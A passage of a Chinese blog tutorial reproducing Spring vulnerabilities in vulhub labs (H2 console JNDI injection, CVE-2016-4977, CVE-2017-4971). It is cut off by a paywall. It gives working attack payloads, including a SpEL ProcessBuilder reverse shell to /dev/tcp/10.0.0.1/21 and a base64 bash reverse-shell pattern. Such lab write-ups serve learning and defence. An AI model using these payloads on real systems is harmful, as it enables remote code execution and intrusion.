文章目录
- SpEL注入攻击
-
- Spring H2 Database Console未授权访问
- Spring Security OAuth2远程命令执行漏洞(CVE-2016-4977)
- Spring WebFlow远程代码执行漏洞(CVE-2017-4971)
- Spring Data Rest远程命令执行漏洞(CVE-2017-8046)
- Spring Messaging远程命令执行漏洞(CVE-2018-1270)
- Spring Data Commons远程命令执行漏洞(CVE-2018-1273)
- Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
- Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)
- Spring Framework 远程命令执行漏洞(CVE-2022-22965)
- Spring Security认证绕过(CVE-2022-22978)
- SpringBoot信息泄露
以下漏洞复现大部分来自vulhub,本篇文章主要是为了熟悉和理解常见的漏洞的攻击流程,当然也有我自己的一些原理解释。
SpEL注入攻击
Spring H2 Database Console未授权访问
-
漏洞原理
- vulhub的解释
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true - 我的补充
参考文章:Spring Boot + H2数据库JNDI注入
这里就是一个JNDI注入,在web页面中输入我们的rmi服务器,即远程绑定我们的方法,然后去http服务器加载恶意class类,攻击成功。
- vulhub的解释
-
影响版本
Spring Boot中使用 H2数据库。只要设置不当就会出现该漏洞 -
漏洞复现
访问路由/h2-console来到页面

自己搭建好rmi服务器且弄好http加载恶意类,但是我们可以直接使用大佬的集成工具,JNDI一键帮忙搭载好了:https://github.com/welk1n/JNDI-Injection-Exploit
开启恶意服务器:
设置好-C执行的命令
(-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)

攻击之前先进入容器查看一下确认不存在hacker文件
(因为我们执行的命令是touch /tmp/hacker)

按照你java版本(1.8以上建议选第一个就行)选择rmi地址,然后在web漏洞存在的页面上输入
javax.naming.InitialContext rmi://your-ip:1099/9b8j4m点击连接即发起攻击
rmi服务器有反应 
容器内可以看到就创建成功了

Spring Security OAuth2远程命令执行漏洞(CVE-2016-4977)
-
漏洞原理
参考:https://blog.knownsec.com/2016/10/spring-security-oauth-rce
注意:参考文章中访问的url和vulhub给的不一样,我下面是按照vulhub的来。
简单来说:这里的SpEL注入,造成注入的原因是渲染了错误信息,由于errorSummary被装入model,然后进入函数后递归提取SpEL表达式执行。 -
影响版本
Spring Security OAuth2 2.0.0 ~ 2.0.9
Spring Security OAuth2 1.0.0 ~ 1.0.5 -
漏洞复现
访问/oauth/authorize?response_type=${233*1}&client_id=acme&scope=openid&redirect_uri=http://test

需要登录的输入admin/admin
然后就会发现我们SpEL注入的表达式就在:response_type=${233*1}
那么就可以通过脚本:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py 来生成对应的SpEL表达式

使用脚本之前先进行编码,这里将你要执行的命令编码一下,这里使用base64,要进行一次反弹shell操作。

然后使用poc.py脚本生成SpEL表达式,
格式为:bash -c {echo,你生成的base64编码放这里|{base64,-d}|{bash,-i}

然后再服务器开启监听接受反弹shell

接着就可以将poc.py的那一段payload放进参数response_type=${payload这里}

可以看到反弹shell成功

Spring WebFlow远程代码执行漏洞(CVE-2017-4971)
-
漏洞原理
参考文章:https://yaofeifly.github.io/2017/06/13/Spring-Web-Flow/
简单来说:我们需要额外增加一个参数,且以_开头的,作为payload来传递到后台进行解析,而根本原因是addDefaultMappings函数中对我们传递进来的parameterNames进行绑定解析,而解析的类为expressionParser,该类expressionParser的默认值可以解析SpEL表达式,所以通过控制参数造成了SpEL注入攻击。
由此可知还要有前提条件: -
MvcViewFactoryCreator类中useSpringBeanBinding默认值(false)未修改
-
webflow配置文件中view-state节点中指定了model属性,并且没有指定绑定的参数,即view-state中没有配置binder节点
-
影响版本:2.4.x
-
漏洞复现

来到登录页面
/login


访问:/hotels/1进行预订酒店


随便填写,然后提交

开启抓包,点击comfirm


这里进行一个反弹shell功能,那么在服务器先开启nc监听

然后填入反弹shell的payload:(记得将payload进行url编码)
_(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i >& /dev/tcp/10.0.0.1/21 0>&1”)).start()=vulhub
进行url编码↓↓↓↓进行url编码
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub

发送数据包,返回500是正常

查看nc已经看到反弹shell了

Spring Data Rest远程命令执行漏洞(CVE-2017-8046)
-
漏洞原理
参考文章:

最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



